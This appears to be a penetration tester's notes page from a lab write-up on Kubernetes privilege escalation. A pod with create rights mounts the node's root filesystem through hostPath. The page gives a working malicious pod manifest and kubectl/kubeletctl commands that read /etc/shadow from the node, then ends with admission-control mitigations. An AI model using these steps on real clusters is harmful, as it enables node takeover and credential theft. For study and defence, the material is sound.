đź§  Kubernetes - Malicious Pod Creation (hostPath Escape)

  • Concept: RBAC in Kubernetes controls verbs on resources — create on pods — but says nothing about what that Pod’s spec is allowed to contain. Any identity permitted to create a Pod is, by extension, permitted to write its own volumes, hostNetwork, and hostPID fields, which means “can create Pods” and “can mount the entire Node filesystem into a container I control” are the same permission in practice.
  • Impact: A single, narrowly-scoped-looking RBAC grant (create on pods, nothing about Secrets or cluster-admin) escalates directly to reading/writing any file on the underlying Node — which usually means every other Pod’s data, the kubelet’s own credentials, and (via /root/.ssh, /etc/shadow, cron jobs, etc.) full Node-level code execution.

How it works

  1. A hostPath volume mounts a path from the Node’s filesystem into the container — it deliberately breaks the container/Node isolation Kubernetes otherwise provides, for legitimate uses like log collectors or CNI plugins that genuinely need Node-level access.
  2. Mounting hostPath: { path: / } into a container path gives that container an unrestricted view of the entire Node’s root filesystem — every user’s home directory, every other Pod’s mounted volumes and secrets on that Node, /etc/shadow, SSH keys, cron jobs, all readable and writable through the malicious container’s normal filesystem operations.
  3. hostNetwork: true additionally puts the Pod directly on the Node’s own network namespace, and automountServiceAccountToken: true ensures the new Pod gets its own fresh ServiceAccount token — useful if the identity used to create it is more privileged than whatever token was harvested earlier in the chain.
  4. Once the API server schedules and starts this Pod, its container is functionally not contained — commands run inside it (via kubeletctl /exec, or any other exec path) act directly on Node-owned files.

Exploitation

Prerequisites

  • A credential (ServiceAccount token, kubeconfig, etc.) authorized to create (and ideally get/list, to confirm it landed) Pods in some namespace — confirm with kubectl auth can-i --list

Attack Vectors

# f.yaml — mounts the entire Node root filesystem at /root inside the container
apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
# 1. Spawn the malicious pod using the compromised identity
kubectl --token=$token --certificate-authority=ca.crt --server=https://<node-ip>:8443 apply -f f.yaml
# 2. Confirm it's scheduled and running
kubectl --token=$token --certificate-authority=ca.crt --server=https://<node-ip>:8443 get pods
# 3. Read (or write) anything on the real Node filesystem through the mount
kubeletctl --server <node-ip> exec "cat /root/root/root.txt" -p nginxt -c nginxt
kubeletctl --server <node-ip> exec "cat /root/etc/shadow" -p nginxt -c nginxt

Notes

  • The mount path chosen inside the container (/root above) is arbitrary and unrelated to the Node’s actual /root directory — it’s just a mountpoint name. The Node’s real /root/root.txt ends up reachable at <mountPath>/root/root.txt from inside the container, which is easy to misread as a coincidence rather than the mount doing exactly what it says.
  • This doesn’t require any container-breakout CVE or kernel bug — it’s a fully “intended” Kubernetes feature (hostPath volumes exist on purpose) misused because RBAC never validated what the created object was allowed to contain. Compare to runc-level breakouts (e.g. CVE-2024-21626, see HTB Machine - GiveBack) which need an actual implementation bug — this technique needs nothing but an overly broad create pods grant.
  • If image pulls are restricted, any base image already present on the Node (or a minimal busybox/alpine) works just as well as nginx — the image only needs to boot and stay running long enough to exec into.

Mitigation

  • Fix: Enforce Pod Security Admission at baseline or restricted (or an admission controller like Kyverno/OPA Gatekeeper) to reject hostPath volumes, hostNetwork, and hostPID from any namespace that isn’t explicitly trusted infrastructure — RBAC alone cannot express “you may create Pods, but not ones that escape containment.”
FileCreated
HTB Machine - SteamCloudJuly 27, 2026

References: